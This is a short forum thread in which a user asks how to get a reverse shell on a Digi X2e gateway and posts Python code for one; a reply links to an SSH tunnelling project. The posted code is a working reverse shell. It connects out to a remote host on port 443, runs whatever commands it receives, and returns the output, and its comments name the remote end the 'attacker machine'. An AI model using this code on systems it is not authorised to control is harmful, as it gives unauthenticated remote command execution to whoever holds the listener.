# Reverse telnet/ssh Gateway X2e

**URL:** <https://forums.digi.com/t/reverse-telnet-ssh-gateway-x2e/15543>\
**Category:** Python\
**Tags:** command-line, python\
**Created:** [October 9, 2015, 10:34am UTC](https://forums.digi.com/t/reverse-telnet-ssh-gateway-x2e/15543 "2015-10-09T10:34:29Z")\
**Posts on this page:** 3\
**Page:** 1

<div class="post-metadata">

**Author:** ![Rolland](https://avatars.discourse-cdn.com/v4/letter/r/b9e5f3/32.png) [@Rolland](https://forums.digi.com/u/Rolland)\
**Post date:** [October 9, 2015, 10:34am UTC](https://forums.digi.com/t/reverse-telnet-ssh-gateway-x2e/15543/1 "2015-10-09T10:34:29Z")

</div>

Dear  
I’m looking for information about reverse ssh or telnet.

```auto
import socket,subprocess

HOST = 'XXXXXXXXXX' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[li] Connection Established!')[/li]# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()

```

This code seems to don’t work on X2e ?  
Someone, use a solution to have some shell on gateway ?  
Best regards.

---

<div class="post-metadata">

**Author:** ![mhdazeem](https://avatars.discourse-cdn.com/v4/letter/m/ee7513/32.png) [@mhdazeem](https://forums.digi.com/u/mhdazeem)\
**Post date:** [October 9, 2015, 10:49am UTC](https://forums.digi.com/t/reverse-telnet-ssh-gateway-x2e/15543/2 "2015-10-09T10:49:55Z")

</div>

[https://code.google.com/p/yarest/](https://code.google.com/p/yarest/)

I am not expert in python but I think this link could help you this is for SSH

Click [here](https://code.google.com/p/yarest/)

thanks

---

<div class="post-metadata">

**Author:** ![Rolland](https://avatars.discourse-cdn.com/v4/letter/r/b9e5f3/32.png) [@Rolland](https://forums.digi.com/u/Rolland)\
**Post date:** [October 9, 2015, 3:47pm UTC](https://forums.digi.com/t/reverse-telnet-ssh-gateway-x2e/15543/3 "2015-10-09T15:47:50Z")

</div>

Thanks a lot !
